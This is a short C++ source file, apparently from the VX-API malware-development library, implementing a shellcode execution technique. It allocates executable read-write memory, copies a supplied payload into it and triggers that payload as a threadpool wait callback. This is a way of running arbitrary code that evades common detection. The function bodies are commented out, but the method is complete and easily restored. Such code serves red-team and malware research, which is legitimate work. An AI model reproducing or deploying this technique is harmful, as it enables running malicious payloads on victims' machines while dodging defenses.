vxug-VXAPI/VX-API/MpfSceViaCreateThreadpoolWa...

56 lines
1.0 KiB
C++

#include "Win32Helper.h"
VOID InvokeCreateThreadpoolWaitCallbackRoutine(LPVOID lpParameter)
{
/*
HANDLE hEvent;
PTP_WAIT Wait = NULL;
hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
if (hEvent == NULL)
goto EXIT_ROUTINE;
Wait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)lpParameter, NULL, NULL);
if(Wait == NULL)
goto EXIT_ROUTINE;
SetThreadpoolWait(Wait, hEvent, 0);
SetEvent(hEvent);
WaitForThreadpoolWaitCallbacks(Wait, FALSE);
SetEvent(hEvent);
Sleep(10000); //arbitrary sleep time...
EXIT_ROUTINE:
if (hEvent)
CloseHandle(hEvent);
return;
*/
}
BOOL MpfSceViaCreateThreadpoolWait(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
/*
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeCreateThreadpoolWaitCallbackRoutine, BinAddress, INFINITE);
return TRUE;
*/
return FALSE;
}